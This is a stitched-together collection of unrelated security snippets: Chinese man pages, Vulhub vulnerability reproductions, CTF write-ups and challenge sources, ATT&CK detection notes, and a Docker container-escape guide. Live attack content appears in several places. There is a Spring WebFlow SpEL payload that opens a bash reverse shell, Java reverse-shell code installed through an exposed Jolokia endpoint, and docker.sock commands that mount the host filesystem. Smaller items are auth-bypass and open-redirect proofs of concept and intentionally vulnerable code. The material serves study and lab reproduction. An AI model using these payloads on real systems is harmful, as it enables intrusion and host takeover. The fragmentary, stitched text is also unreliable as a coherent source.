\fBCREATE OPERATOR CLASS\fR 是一个 PostgreSQL 扩展。 在 SQL 标准中没有 CREATE OPERATOR CLASS。
.SH "SEE ALSO 参见"
ALTER OPERATOR CLASS [\fBalter_operator_class\fR(7)], DROP OPERATOR CLASS [\fBdrop_operator_class\fR(l)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
参考链接:
- https://threathunter.org/topic/593d562353ab369c55425a90
- https://pivotal.io/security/cve-2017-4971
## 测试环境
运行测试环境:
```
docker compose up -d
```
等待环境启动后,访问`http://your-ip:8080`,将看到一个酒店预订的页面,这是spring-webflow官方给的简单示例。
## 漏洞复现
首先访问`http://your-ip:8080/login`,用页面左边给出的任意一个账号/密码登录系统:

然后访问id为1的酒店`http://your-ip:8080/hotels/1`,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):

再点击确认“Confirm”:

此时抓包,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC):
```
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub
```

(注意:别忘记URL编码)
成功执行,获得shell:

|
sec-knowleage
|
# ntopng Authentication Bypass (CVE-2021-28073)
[中文版本(Chinese version)](README.zh-cn.md)
Ntopng is a passive network monitoring tool focused on flows and statistics that can be obtained from the traffic captured by the server.
There is a authentication bypass vulnerability in ntopng 4.2 and previous versions.
Reference link:
- http://noahblog.360.cn/ntopng-multiple-vulnerabilities/
## Vulnerability Environment
Execute the following command to start ntopng:
```
docker compose up -d
```
After the server is started, browse the `http://your-ip:3000` to see the login page, whose default password is admin/admin, and the password will be request to reset for the first login.
## Vulnerability Reproduce
According to the reference link and the simple [poc.py](poc.py), calculate the length of the ntopng lua directory:
```
python poc.py --url http://your-ip:3000/ baselength
```

It can be seen that the path length in the Vulhub container is 36.
Then, browse the page or interface that we want to access without authorization, such as `/lua/find_prefs.lua`, and it will be redirected to the login page.
Use POC to generate unauthorized access URL:
```
python poc.py --url http://your-ip:3000/ generate -l 36 -p find_prefs.lua
```

The interface is able to access without authorization through this URL:

|
sec-knowleage
|
### Heap Spray介绍
**堆喷射**(heap spraying)指的是一种辅助攻击手法:「**通过大量分配相同的结构体来达成某种特定的内存布局**,从而帮助攻击者完成后续的利用过程」,常见于如下场景:
- 你有一个 UAF,但是**你无法通过少量内存分配拿到该结构体**(例如该 object 不属于当前 freelist 且释放后会回到 node 上,或是像 `add_key()` 那样会被一直卡在第一个临时结构体上),这时你可以**通过堆喷射来确保拿到该 object**。
- 你有一个堆溢出读/写,但是**堆布局对你而言是不可知的**(比如说开启了 `SLAB_FREELIST_RANDOM`(默认开启)),你可以**预先喷射大量特定结构体,从而保证对其中某个结构体的溢出**。
- ......
作为一种辅助的攻击手法,堆喷射可以被应用在多种场景下。
|
sec-knowleage
|
# Ghost pepper (web, 125p, 78 solved)
In the challenge we get a link to webpage which requests Basic Auth from us.
As a hint the page says `karaf`.
Karaf is OSGi provider, and coincidentally the default user/password for the web interface is `karaf:karaf`.
Now that we passed the authentication, we try to look around, but everything returns 404.
We guessed that maybe the challenge name is some kind of hint.
Ghost pepper is otherwise known as `jolokia`, and this happens to be a name of Java JMX-over-HTTP service.
We confirmed this by checking `/jolokia` endpoint, which returned some data.
Exposing JMX is usually a bad idea because it's always at least some infoleak.
Here we've got OSGi running there as well, and it seems there were some JMX Managed Beans from Karaf exposed as well.
OSGi is a Java platform which allows managing lifecycle of application components at runtime, without the need to restart the app.
You can add/remove/substitute a component at runtime, deploy multiple versions etc, all while the app is running.
From our perspective there is one particularly intersting operation -> installing and starting a new component.
We can list all beans and operations they provide at `/jolokia/list`.
JMX Bean `org.apache.karaf:name=root,type=bundle` provides `install(java.lang.String, boolean)` operation, where the first argument is URL for the JAR file containing the component, and boolean specifies if it should be automatically started.
We can run this with:
```java
public static void main(String[] args) throws Exception {
J4pClient j4pClient = J4pClient.url("http://111.186.63.207:31337/jolokia/").user("karaf").password("karaf").build();
J4pExecRequest req = new J4pExecRequest("org.apache.karaf:name=root,type=bundle", "install(java.lang.String, boolean)", "http://our.url/helloworld-1.0.0.jar", true);
J4pExecResponse resp = j4pClient.execute(req);
System.out.println(resp.getValue().toString());
}
```
Now if we provide some interesting component to run, we should get a nice RCE.
We went ahead with some stolen and modified Java Reverse Shell in OSGi bundle format:
```java
public class Activator implements BundleActivator {
public void start(BundleContext context) {
try {
try {
String host = "our.ip";
int port = 80;
Socket s = new Socket(host, port);
String cmd = "/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
}
p.destroy();
s.close();
} catch (Exception e) {
e.printStackTrace();
}
} catch (Exception e) {
}
}
public void stop(BundleContext context) {
System.out.println("Goodbye World!");
}
}
```
One tricky part was that we initially used some random port number, and it didn't work.
We were afraid there is some mitigation in place and we'll need to exfiltrate the flag blindly somehow.
But we realised that they did download the bundle, so at least 80 and 8080 ports are not blacklisted.
Once we get a reverse shell we can read the flag: `flag{DOYOULOVEJOLOKIA?ILOVEITVERYMUCH}`
|
sec-knowleage
|
# FreeMarker
**FreeMarker 模版语言说明**
- 文本:包括 HTML 标签与静态文本等静态内容,该部分内容会原样输出
- 插值:语法为 `${}`, 这部分的输出会被模板引擎计算的值来替换。
- 指令标签:`<#>` 或者 `<@ >` 。如果指令为系统内建指令,如 assign 时,用 `<# >` 。如果指令为用户指令,则用 `<@ >` 。利用中最常见的指令标签为 `<#assign>` ,该指令可创建变量。
- 注释:由 `<#--` 和 `-->` 表示,注释部分的内容会 FreeMarker 忽略
|
sec-knowleage
|
.\" Copyright (C) 2001 Andries Brouwer <aeb@cwi.nl>.
.\"
.\" Permission is granted to make and distribute verbatim copies of this
.\" manual provided the copyright notice and this permission notice are
.\" preserved on all copies.
.\"
.\" Permission is granted to copy and distribute modified versions of this
.\" manual under the conditions for verbatim copying, provided that the
.\" entire resulting derived work is distributed under the terms of a
.\" permission notice identical to this one
.\"
.\" Since the Linux kernel and libraries are constantly changing, this
.\" manual page may be incorrect or out-of-date. The author(s) assume no
.\" responsibility for errors or omissions, or for damages resulting from
.\" the use of the information contained herein. The author(s) may not
.\" have taken the same level of care in the production of this manual,
.\" which is licensed free of charge, as they might when working
.\" professionally.
.\"
.\" Formatted or processed versions of this manual, if unaccompanied by
.\" the source, must acknowledge the copyright and authors of this work.
.\"
.TH LOCKFILE 3 2001-10-18 "" "Linux Programmer's Manual"
.SH NAME
flockfile, ftrylockfile, funlockfile \- 为标准输入输出锁定文件 FILE
.SH "SYNOPSIS 总览"
.nf
.B #include <stdio.h>
.sp
.BI "void flockfile(FILE *" filehandle );
.br
.BI "int ftrylockfile(FILE *" filehandle );
.br
.BI "void funlockfile(FILE *" filehandle );
.fi
.SH "DESCRIPTION 描述"
标准输入输出库 stdio 函数是线程安全的。这是通过为每个文件对象 FILE 赋予一个锁定计数和 (当锁定计数非零时) 一个所有者线程来实现的。对每个库函数调用,这些函数等待直到文件对象 FILE 不再被一个不同的线程锁定,然后锁定它,进行所需的 I/O 操作,再次对它解锁。
.LP
(注意:这个锁定与由函数
.BR flock (2)
和
.BR lockf (3)
实现的锁定无关。)
.LP
所有这些操作对 C 程序员来说都是不可见的,但是有两种理由,需要进行更加细节的控制。其一,也许某个线程需要进行不可分割的一系列 I/O 操作,不应当被其他线程的 I/O 所终端。其二,出于效率因素,应当避免进行过多的锁定来提高效率。
.LP
为此,一个线程可以显式地锁定文件对象 FILE,接着进行它的一系列 I/O 操作,然后解锁。这样可以避免其他线程干扰。如果这样做的原因是需要达到更高的效率,应当使用 stdio 函数的非锁定版本来进行 I/O 操作:使用 \fIgetc_unlocked\fP() 和 \fIputc_unlocked\fP() 来代替 \fIgetc\fP() 和 \fIputc\fP()。
.LP
函数 \fBflockfile()\fP 等待 *\fIfilehandle\fP 不再被其他的线程锁定,然后使当前线程成为 *\fIfilehandle\fP 的所有者,然后增加锁定计数 lockcount。
.LP
函数 \fBfunlockfile()\fP 减少锁定计数。
.LP
函数 \fBftrylockfile()\fP 是 \fBflockfile()\fP 的非锁定版本。它在其他线程拥有 *\fIfilehandle\fP 时不做任何处理,否则取得所有权并增加锁定计数。
.SH "RETURN VALUE 返回值"
函数 \fBftrylockfile()\fP 返回零,如果成功的话 (获得了锁定);如果失败就返回非零。
.SH ERRORS
无。
.SH AVAILABILITY
这些函数当定义了 _POSIX_THREAD_SAFE_FUNCTIONS 时可用。它们存在于 libc 5.1.1 之后的 libc 版本中,以及 glibc 2.0 之后的 glibc 版本中
.SH "CONFORMING TO 标准参考"
POSIX.1
.SH "SEE ALSO 参见"
.BR unlocked_stdio (3)
|
sec-knowleage
|
from django.shortcuts import HttpResponse
from .models import Collection
# Create your views here.
def vul(request):
query = request.GET.get('order', default='id')
q = Collection.objects.order_by(query)
return HttpResponse(q.values())
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH SHA384SUM 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
sha384sum \- 计算并校验 SHA384 信息摘要
.SH 概述
\fBsha384sum\fP [\fI\,选项\/\fP]... [\fI\,文件列表\/\fP]...
.SH 描述
.\" Add any additional description here
.PP
输出或检查 SHA384 (384位) 校验和。
.PP
如果没有指定文件,或者指定文件为“\-”,则从标准输入读取。
.TP
\fB\-b\fP, \fB\-\-binary\fP
以二进制模式读入
.TP
\fB\-c\fP, \fB\-\-check\fP
从指定文件中读取校验和信息并对它们进行检查
.TP
\fB\-\-tag\fP
创建一个 BSD 风格的校验和
.TP
\fB\-t\fP, \fB\-\-text\fP
以文本模式读入(默认)
.TP
\fB\-z\fP, \fB\-\-zero\fP
以 NUL 空字符而非换行符结束每一输出行,同时禁用文件名转义
.SS 下面五个选项仅在验证校验和时有用:
.TP
\fB\-\-ignore\-missing\fP
遇到缺失的文件时不报告错误,保持静默
.TP
\fB\-\-quiet\fP
不要为每个成功验证的文件显示成功信息
.TP
\fB\-\-status\fP
不要输出任何信息,由返回值判断成功与否
.TP
\fB\-\-strict\fP
为没有正确格式化的校验和文字行给出非零返回值
.TP
\fB\-w\fP, \fB\-\-warn\fP
为没有正确格式化的校验和文字行给出警告信息
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
校验和按照 FIPS\-180\-2
描述的方式进行计算。在校验过程中,其输入内容应当为该程序先前的输出内容。默认模式是输出一行文字,包含:校验和、一个指示输入模式的字符('*'
指示二进制输入,' ' 指示二进制特性不明显的文本输入)以及每个文件的名称。
.PP
注意:GNU 系统上二进制模式和文本模式没有区别。
.SH 作者
由 Ulrich Drepper, Scott Miller 和 David Madore 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
\fBcksum\fP(1)
.PP
.br
完整文档请见: <https://www.gnu.org/software/coreutils/sha384sum>
.br
或者在本地使用: info \(aq(coreutils) sha2 utilities\(aq
|
sec-knowleage
|
# T1135-win-网络共享发现
## 来自ATT&CK的描述
网络通常包含共享的网络驱动器和文件夹,使用户可以通过网络访问不同系统上的文件目录。
Windows
Windows网络上的文件共享通过SMB协议进行。
Net可用于使用Net view\remote system命令查询远程系统中的可用共享驱动器。它还可用于使用网络共享查询本地系统上的共享驱动器。
攻击者可能会寻找在远程系统上共享的文件夹和驱动器,作为识别信息源的一种方法,以收集作为攻击的前兆,并识别可能感兴趣的横向移动系统。
Mac
在Mac上,可以使用df-aH命令查看本地安装的共享。
云
云虚拟网络可能包含远程网络共享或文件存储服务,攻击者在获得对系统的访问权限后可以访问这些服务。例如,AWS、GCP和Azure支持创建网络文件系统(NFS)共享和服务器消息块(SMB)共享,这些共享可以映射到端点或基于云的系统上
## 测试案例
windows 本地执行net view相关命令
## 检测日志
windows 安全日志
## 测试复现
```dos
C:\Windows\system32>net view \\OWA2010SP3.0day.org
在 \\OWA2010SP3.0day.org 的共享资源
共享名 类型 使用为 注释
-------------------------------------------------------------------------------
Address Disk "Access to address objects"
CertEnroll Disk Active Directory 证书服务共享
ExchangeOAB Disk OAB Distribution share
GroupMetrics Disk 邮件提示组度量标准发布点
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。
```
## 测试留痕
windows 安全日志
## 检测规则/思路
### sigma规则
```yml
title: windows 网络共享发现(windows server 2016)检测
description: windows server 2016、windows server 2012、域环境
tags: T1135
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection1:
EventID: 4688 #已创建新的进程。
Newprocessname: 'C:\Windows\System32\net.exe' #进程信息>新进程名称
Creatorprocessname: 'C:\windows\system32\cmd.exe' #进程信息>创建者进程名称
Processcommandline: net view \\* #进程信息>进程命令行
selection2:
EventID: 4703 #已调整用户权利。注意此事件在windows server 2016以上系统启用
selection3:
EventID: 5158 #Windows 筛选平台已允许绑定本地端口。注意源端口、协议
selection4:
EventID: 5156 #Windows 筛选平台已允许连接。
Direction: 出站 #网络信息>方向:出站
Sourceaddress: * #发起查询主机IP地址
Sourceport: * #和5158事件源端口一致
Targetaddress: * #目标IP地址
Targetport: 445 #目标端口
Agreement: * #协议,协议和5158一致
selection5:
EventID: 4689 #已退出进程。
Processname: 'C:\Windows\System32\net.exe' #进程信息>进程名
timeframe: last 5s #可根据实际情况调整
condition: all of them
level: medium
```
```yml
title: windows 网络共享发现(windows server 2012)检测
description: windows server 2016、windows server 2012、域环境
tags: T1135
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection1:
EventID: 5156 #Windows 筛选平台已允许连接。
Direction: 入站 #网络信息>方向:入站
Sourceaddress: * #被查询主机IP地址
Sourceport: 445
Targetaddress: * #目标地址 发起查询的主机IP地址
Targetport: * #目标端口 发起查询的主机IP端口
Agreement: * #协议,和2016上5156事件、5158事件涉及的协议一致
selection2:
EventID: 4702 #为新登录分配了特殊权限。
selection3:
EventID: 4624 #已成功登录帐户。
logontype: 3 #登陆类型为3
Sourcenetworkaddress: * #网络信息>源网络地址 同上5156目标地址
Sourceport: * #网络信息>源网络端口 同上5156目标端口
Loginprocess: Kerberos #详细身份验证信息>登录进程
Authenticationpackage: Kerberos #详细身份验证信息>身份验证数据包
selection4:
EventID: 5140 #已访问网络共享对象。
Objecttype: file #网络信息>对象类型
Sourceaddress: * #网络信息>源地址 同上5156目标地址
Sourceport: * #网络信息>源端口 同上5156目标端口
Sharename: \\*\IPC$ #共享信息>共享名
selection5:
EventID: 5140 #已访问网络共享对象。
Objecttype: file #网络信息>对象类型
Sourceaddress: * #网络信息>源地址 同上5156目标地址
Sourceport: * #网络信息>源端口 同上5156目标端口
Sharename: \\*\IPC$ #共享信息>共享名
Relativetargetname: srvsvc #共享信息>相对目标名称
timeframe: last 10s #可根据实际情况调整
condition: all of them
level: medium
```
### 建议
**注意:** 这里的端口、IP及协议用于事件相互关联,不做其他用处
系统和网络发现技术通常发生在攻击者了解环境的整个行动中。不应孤立地看待数据和事件,而应根据获得的信息,将其视为可能导致其他活动(如横向运动)的行为链的一部分。
与合法远程系统发现相关的正常、良性系统和网络事件可能不常见,具体取决于环境和使用方式。监视进程和命令行参数,以了解为收集系统和网络信息而可能采取的操作。具有内置功能的远程访问工具可以直接与Windows API交互以收集信息。还可以通过Windows系统管理工具(如Windows management Instrumentation和PowerShell)获取信息。
在基于云的系统中,本机日志记录可用于标识对某些可能包含系统信息的api和仪表板的访问。根据环境的使用方式,由于正常操作期间的良性使用,仅此数据可能不够。
## 参考推荐
MITRE-ATT&CK-T1135
<https://attack.mitre.org/techniques/T1135/>
|
sec-knowleage
|
# Defcamp CTF Finals 2017
Team: c7f.m0d3, psrok1, rev, shalom, lacky
### Table of contents
* [State agency (web)](state_agency)
* [Caesar favourite song (misc/crypto)](favourite_song)
* [Audio captcha (misc)](audio_captcha)
* [Adversarial (misc)](adversarial)
* [Hack tac toe (web/crypto)](hack_tac_toe)
* [Fedora shop (web)](fedora_shop)
|
sec-knowleage
|
#!/usr/bin/env ruby
require 'sinatra/base'
require 'sinatra/cookies'
require 'openssl'
require 'json'
KEY = IO.binread('super-secret-key')
FLAG = IO.read('/home/simple/flag').strip
class SimpleApp < Sinatra::Base
helpers Sinatra::Cookies
get '/' do
auth = cookies[:auth]
if auth
begin
auth = auth.b
c = OpenSSL::Cipher.new('AES-128-CFB')
c.decrypt
c.key = KEY
c.iv = auth[0...16]
json = c.update(auth[16..-1]) + c.final
r = JSON.parse(json)
if r['admin'] == true
"You're admin! The flag is #{FLAG}"
else
"Hi #{r['username']}, try to get admin?"
end
rescue StandardError
'Something wrong QQ'
end
else
<<-EOS
<html><body><form action='/' method='POST'>
<input type='text' name='username'/>
<input type='password' name='password'/>
<button type='submit'>register!</button>
</form></body></html>
EOS
end
end
post '/' do
username = params['username']
password = params['password']
if username && password
data = {
username: username,
password: password,
db: 'hitcon-ctf'
}
c = OpenSSL::Cipher.new('AES-128-CFB')
c.encrypt
c.key = KEY
iv = c.random_iv
json = JSON.dump(data)
enc = c.update(json) + c.final
cookies[:auth] = iv + enc
redirect to('/')
else
'Invalid input!'
end
end
end
|
sec-knowleage
|
require 'erb'
require 'webrick'
require 'fileutils'
require 'securerandom'
include WEBrick::HTTPStatus
FileUtils.rm_rf('/tmp/flags')
FileUtils.mkdir_p('/tmp/flags')
FileUtils.cp('flag.txt', "/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt")
FileUtils.rm('flag.txt')
server = WEBrick::HTTPServer.new Port: 9292
def is_bad_path(path)
bad_char = nil
%w(* ? [ { \\).each do |char|
if path.include? char
bad_char = char
break
end
end
if bad_char.nil?
false
else
# check if brackets are paired
if bad_char == ?{
path[path.index(bad_char)..].include? ?}
elsif bad_char == ?[
path[path.index(bad_char)..].include? ?]
else
true
end
end
end
server.mount_proc '/' do |req, res|
raise BadRequest if is_bad_path(req.path)
if req.path.end_with? '/'
if req.path.include? '.'
raise BadRequest
end
path = ".#{req.path}*"
files = Dir.glob(path)
res['Content-Type'] = 'text/html'
res.body = ERB.new(File.read('index.html.erb')).result(binding)
next
end
payload=req.path[1..]
matches = Dir.glob(payload)
if matches.empty?
raise NotFound
end
begin
file = File.open(matches.first, 'rb')
res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]
res.body = file.read
rescue Errno::EISDIR => e
res.set_redirect(MovedPermanently, req.path + '/')
end
end
trap 'INT' do server.shutdown end
server.start
|
sec-knowleage
|
# Django < 2.0.8 Open redirect possibility in CommonMiddleware (CVE-2018-14574)
[中文版本(Chinese version)](README.zh-cn.md)
If the `django.middleware.common.CommonMiddleware` and the `APPEND_SLASH` setting are both enabled, and if the project has a URL pattern that accepts any path ending in a slash, then a request to a maliciously crafted URL of that site could lead to a redirect to another site, enabling phishing and other attacks.
## Vulnerability environment
Start the environment with Django 2.0.7:
```
docker compose build
docker compose up -d
```
## Exploit
Now visit `http://your-ip:8000//www.example.com`, you will be redirected to `//www.example.com/`:

|
sec-knowleage
|
# T1590-006-收集目标组织网络信息-网络安全设备
## 来自ATT&CK的描述
攻击者可能会事先收集攻击目标的网络安全设备信息。网络安全设备的信息可能包括各种详细信息,例如已部署的防火墙,内容筛选器和代理/堡垒主机的存在和详细信息。攻击者还可能针对地收集有关受害者的网络入侵检测系统(NIDS)或其他与防御性网络安全操作有关的设备的信息。
攻击者可以通过不同的方式收集这些信息,例如通过[主动扫描](https://contribute.knowledge.qihoo.net/detail/technique/T1595)或[钓鱼](https://contribute.knowledge.qihoo.net/detail/technique/T1598)。网络安全设备信息也可能通过在线或其他可访问的数据集(例如:[搜索受害者拥有的网站](https://contribute.knowledge.qihoo.net/detail/technique/T1594))暴露给攻击者。这些信息可能为如下活动提供可能性:其他形式的侦察活动(例如:[搜索公开技术数据库](https://contribute.knowledge.qihoo.net/detail/technique/T1596),[搜索开放网站/域](https://contribute.knowledge.qihoo.net/detail/technique/T1593)),建立运营资源(例如:[开发能力](https://contribute.knowledge.qihoo.net/detail/technique/T1587), [获取能力](https://contribute.knowledge.qihoo.net/detail/technique/T1588)),或实现初始访问(例如:[外部远程服务](https://contribute.knowledge.qihoo.net/detail/technique/T1133))。
## 测试案例
红队必备:WEB蜜罐识别阻断插件
<https://www.freebuf.com/articles/web/246938.html>
公开的采购信息等。
## 检测日志
无法有效监测
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
许多此类活动的发生频率和误报率可能很高,并且有可能发生在目标组织的可见性之外,从而使防御者难以发现。
检测工作可能集中在攻击者生命周期的相关阶段,例如在首次访问期间。
## 关联TIP
[[T1590-001-收集目标组织网络信息-域属性]]
[[T1590-002-收集目标组织网络信息-DNS]]
[[T1590-003-收集目标组织网络信息-网络信任关系]]
[[T1590-004-收集目标组织网络信息-网络拓扑]]
[[T1590-005-收集目标组织网络信息-IP地址]]
## 参考推荐
MITRE-ATT&CK-T1590-006
<https://attack.mitre.org/techniques/T1590/006/>
红队必备:WEB蜜罐识别阻断插件
<https://www.freebuf.com/articles/web/246938.html>
|
sec-knowleage
|
# Docker
Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在电脑上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台 Docker。
> fofa : app="docker-产品"
**相关文章**
- [Docker容器安全性分析](https://www.freebuf.com/articles/system/221319.html)
- [一些与Docker安全相关的知识点总结与整理](https://mp.weixin.qq.com/s/rKUpyEmurAioiMAFqYzfxg)
- [docker build时的安全问题](https://mp.weixin.qq.com/s/LNXyckCjg2uMNPNl0JWHqg)
- [容器安全事件排查与响应](https://mp.weixin.qq.com/s/rOOr_wCF4egpV_QlRIbtjQ)
**提权检测工具**
- [teamssix/container-escape-check](https://github.com/teamssix/container-escape-check) - 用来检测 Docker 容器中的逃逸方法的脚本
```bash
git clone https://github.com/teamssix/container-escape-check.git
cd container-escape-check
chmod +x container-escape-check.sh
./container-escape-check.sh
```
**相关案例**
- [How We Escaped Docker in Azure Functions](https://www.intezer.com/blog/research/how-we-escaped-docker-in-azure-functions/)
- [通过Azure Functions提权漏洞实现Dockers逃逸](https://mp.weixin.qq.com/s/6CDbYZh7ChQ_hpuF29tsLA)
**Docker 逃逸**
- [云原生安全 | docker容器逃逸](https://mp.weixin.qq.com/s/zvHrPwYT77oedXloVJHi8g)
- [初识Docker逃逸](https://www.freebuf.com/articles/container/242763.html)
- [干货来啦!带你初探Docker逃逸](https://www.freebuf.com/company-information/205006.html)
- [Docker 逃逸小结第一版](https://paper.seebug.org/1288/)
- [容器逃逸方法 - cdxy](https://www.cdxy.me/?p=818)
---
## 内核漏洞导致的逃逸
**[Dirty COW(CVE-2016-5195)](../../OS安全/OS-Exploits.md#linux)**
- 漏洞描述
通过 Dirty Cow 漏洞,结合 EXP,就可以返回一个宿主机的高权限 Shell,并拿到宿主机的 root 权限,可以直接操作宿主机的文件。
VDSO(virtual dvnamic shared object) : 这是一个小型共享库,能将内核自动映射到所有用户程序的地址空间。
- 举个例子:gettimeofday 是一个获取当前时间的函数,它经常被用户的程序调用,如果一个程序需要知道当前的时间,程序就会频繁的轮询。为了减少资源开销,内核需要把它放在一个所有进程都能访问的内存位置,然后通过 VDSO 定义一个功能来共享这个对象,让进程来访问此信息。通过这种方式,调用的时间和资源花销就大大的降低了,速度也就变得更快。
- 那么如何利用 VDSO 来实现 Docker 逃逸的?首先 POC 利用 Dirty Cow 漏洞,将 Payload 写到 VDSO 中的一些闲置内存中,并改变函数的执行顺序,使得在执行正常函数之前调用这个 Shellcode。Shellcode 初始化时会检测是否被 root 所调用,如果调用,则继续执行,如果没有调用则返回,并执行 clock_gettime 函数,接下来它会检测 `/tmp/.X` 文件的存在,如果存在,则这时已经是 root 权限了,然后它会打开一个反向的 TCP 链接,为 Shellcode 中填写的 ip 返回一个 Shell,漏洞就这样产生了。
- https://www.ichunqiu.com/experiment/detail?id=100297&source=2
- https://github.com/gebl/dirtycow-docker-vdso
**CVE-2017-7308**
- 相关文章
- [Linux内核漏洞导致容器逃逸(CVE-2017-7308)](https://github.com/Metarget/metarget/tree/master/writeups_cnv/kernel-cve-2017-7308)
**CVE-2017-1000112**
- 相关文章
- [Linux内核漏洞导致容器逃逸(CVE-2017-1000112)](https://github.com/Metarget/metarget/tree/master/writeups_cnv/kernel-cve-2017-1000112)
**CVE-2018-18955 Broken uid/gid Mapping for Nested User Namespaces**
- 漏洞描述
CVE-2018-18955 漏洞涉及到 User 命名空间中的嵌套用户命名空间,用户命名空间中针对 uid(用户ID)和 gid(用户组ID)的 ID 映射机制保证了进程拥有的权限不会逾越其父命名空间的范畴。该漏洞利用创建用户命名空间的子命名空间时损坏的 ID 映射实现提权。
- 相关文章
- [CVE-2018-18955漏洞学习](https://www.cnblogs.com/likaiming/p/10816529.html)
- [CVE-2018-18955:较新Linux内核的提权神洞分析](https://www.freebuf.com/vuls/197122.html)
- POC | Payload | exp
- [Linux - Broken uid/gid Mapping for Nested User Namespaces - Linux local Exploit](https://www.exploit-db.com/exploits/45886)
**CVE-2022-0185**
- 相关文章
- [[漏洞分析] CVE-2022-0185 linux 内核提权(逃逸)](https://blog.csdn.net/Breeze_CAT/article/details/123007818)
**CVE-2022-0492**
- 相关文章
- [Linux内核漏洞导致容器逃逸(CVE-2022-0492)](https://github.com/Metarget/metarget/tree/master/writeups_cnv/kernel-cve-2022-0492)
- [Docker又爆出高危逃逸漏洞了?仔细研究下事情没那么简单](https://mp.weixin.qq.com/s/7KptLnqd7tBLaFKHu-RVuw)
- [[漏洞分析] CVE-2022-0492 容器逃逸漏洞分析](https://blog.csdn.net/breeze_cat/article/details/123427680)
**CVE-2022-0847**
- [CVE-2022-0847](../../OS安全/OS-Exploits.md#内核漏洞提权)
---
## 配置不当
**利用条件**
- root 权限启动 docker
- 主机上有镜像,或自己下载镜像
- API 版本大于 1.5
**docker.sock 挂载到容器内部**
- 漏洞描述
Docker 采用 C/S 架构,我们平常使用的 Docker 命令中,docker 即为 client,Server 端的角色由 docker daemon 扮演,二者之间通信方式有以下3种:
1. unix:///var/run/docker.sock
2. tcp://host:port
3. fd://socketfd
其中使用 docker.sock 进行通信为默认方式,当容器中进程需在生产过程中与 Docker 守护进程通信时,容器本身需要挂载 `/var/run/docker.sock` 文件。
本质上而言,能够访问 docker socket 或连接 HTTPS API 的进程可以执行 Docker 服务能够运行的任意命令,以 root 权限运行的 Docker 服务通常可以访问整个主机系统。
因此,当容器访问 docker socket 时,我们可通过与 docker daemonv 的通信对其进行恶意操纵完成逃逸。若容器A可以访问 docker socket,我们便可在其内部安装 client(docker),通过 docker.sock 与宿主机的 server(docker daemon)进行交互,运行并切换至不安全的容器 B,最终在容器 B 中控制宿主机。
- 相关文章
- [挂载docker.sock导致容器逃逸](https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-docker-sock)
1. 首先运行一个挂载 `/var/run/` 的容器
```bash
docker pull ubuntu:18.04
docker run -it -v /var/run/:/host/var/run/ ubuntu:18.04 /bin/bash
```
2. 寻找下挂载的 sock 文件
```bash
find / -name docker.sock
```
3. 在容器内安装 Docker 作为 client
```bash
echo "deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse" > /etc/apt/sources.list
echo "deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse" >> /etc/apt/sources.list
echo "deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse" >> /etc/apt/sources.list
echo "deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse" >> /etc/apt/sources.list
echo "deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse" >> /etc/apt/sources.list
echo "deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse" >> /etc/apt/sources.list
echo "deb-src http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse" >> /etc/apt/sources.list
echo "deb-src http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse" >> /etc/apt/sources.list
echo "deb-src http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse" >> /etc/apt/sources.list
echo "deb-src http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse" >> /etc/apt/sources.list
apt-get update
apt-get install -y docker.io vim
echo "nameserver 114.114.114.114" > /etc/resolv.conf
```
4. 查看宿主机 docker 信息
```bash
docker -H unix:///host/var/run/docker.sock info
```
5. 运行一个新容器并挂载宿主机根路径
```bash
docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash
```
